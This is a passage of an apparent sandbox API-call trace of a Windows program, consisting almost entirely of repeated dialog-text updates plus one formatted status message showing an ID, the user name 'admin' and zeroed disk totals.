GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.935] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.996] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.996] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.059] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.059] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.122] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.122] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.184] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.184] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.246] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.246] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.312] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.312] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.371] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.371] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.438] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.438] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.496] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.496] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.558] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.558] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.791] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.791] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.808] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.808] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.870] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.870] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.932] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.932] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0097.995] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0097.995] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.057] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.057] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.120] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.120] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.182] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.182] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.246] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.246] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.307] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.307] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.369] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.369] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.432] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.432] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.494] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.494] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.557] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.557] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.620] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.620] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.681] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.681] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.745] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.745] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.807] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.807] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.872] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.872] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.931] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.931] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0098.993] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0098.993] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.056] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.056] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.118] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.118] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.182] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.182] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.243] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.243] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.305] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.305] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.368] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.368] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.430] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.430] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.493] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.493] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.556] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.556] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.617] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.617] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.681] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.681] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.742] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.742] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.805] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.805] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.867] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.867] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.930] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.930] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0099.992] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0099.992] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.055] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.055] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.116] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.116] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.180] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.180] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.242] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.242] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.304] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.304] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.366] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.366] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.428] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.428] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.491] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.491] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.556] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.556] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.647] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.647] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.693] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.694] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.748] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.748] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.806] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.806] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.866] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.866] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0100.941] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0100.941] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.010] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.010] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.068] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.069] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.132] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.132] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.193] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.194] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.257] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.257] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.336] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.336] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.383] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.383] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.442] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.443] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.505] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.505] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.567] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.567] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.634] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.634] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0101.838] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0101.838] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.054] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.055] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.083] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.083] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.146] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.146] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.233] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.234] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.271] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.271] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.332] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.332] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.398] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.398] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.457] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.457] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.556] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.556] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.644] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.644] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.678] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.680] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.899] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.899] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0102.956] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0102.956] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.151] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.151] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.185] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.185] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.205] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.205] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.269] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.269] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.330] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.331] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.393] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.394] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.455] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.455] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.518] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.518] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.596] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.596] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.642] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.642] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.704] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.704] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.767] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.767] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.830] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.830] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0103.892] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0103.892] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0104.330] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0104.330] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0104.485] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0104.485] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0104.563] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0104.563] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0104.625] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0104.625] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0104.687] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0104.687] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0104.750] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0104.750] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0104.812] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0104.812] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0105.202] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0105.202] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0105.264] wsprintfW (in: param_1=0x18f3f0, param_2="1. ID: %08X\r\n2. %s\r\n" | out: param_1="1. ID: 4B2E4630\r\n2. admin\r\n") returned 27 [0105.265] wsprintfW (in: param_1=0x18f3f0, param_2="3. Total: %I64d.%02I64d gb (%u)/%I64d.%02I64d gb (%u)/%u%%\r\n" | out: param_1="3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 38 [0105.265] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1005) returned 0x6015a [0105.265] SetWindowTextW (hWnd=0x6015a, lpString="1. ID: 4B2E4630\r\n2. admin\r\n--------------------\r\n3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 1 [0105.273] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0105.273] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0105.347] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0105.347] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0105.436] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0105.436] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0105.499] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0105.499] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0105.779] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0105.779] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0105.870] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0105.870] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0106.013] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0106.013] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0106.076] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0106.076] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0106.688] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0106.688] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0106.746] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0106.746] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0106.809] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0106.809] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0106.871] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0106.871] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0106.934] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0106.934] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0106.996] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0106.996] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0107.248] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0107.248] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0107.386] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0107.386] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0107.448] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0107.448] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0107.511] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0107.511] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0107.575] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0107.575] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.065] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.065] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.119] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.119] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.182] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.182] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.244] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.244] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.307] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.307] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.369] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.369] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.432] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.432] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.497] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.498] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.556] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.557] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.618] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.618] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.681] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.681] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.743] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.743] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.806] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.806] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.869] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.869] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.931] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.931] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0108.993] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0108.993] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.056] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.056] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.118] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.118] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.181] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.181] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.242] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.242] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.305] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.305] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.367] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.367] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.430] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.430] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.492] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.492] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.555] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.555] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.617] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.617] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.680] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.680] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.742] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.742] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.805] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.805] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.866] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.866] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.929] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.929] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0109.991] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0109.991] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0110.054] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0110.054] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0110.130] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0110.130] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0110.523] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0110.523] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0111.653] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0111.653] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0113.221] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0113.222] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0115.901] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0115.901] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0116.060] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0116.060] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0116.527] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0116.527] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0116.921] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0116.921] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0117.854] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0117.854] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0117.966] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0117.966] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0118.025] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0118.025] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0118.108] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0118.108] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0118.181] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0118.181] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0118.364] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0118.364] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0118.977] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0118.977] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.040] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.040] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.102] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.102] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.164] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.164] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.414] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.414] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.476] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.476] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.539] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.539] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.601] 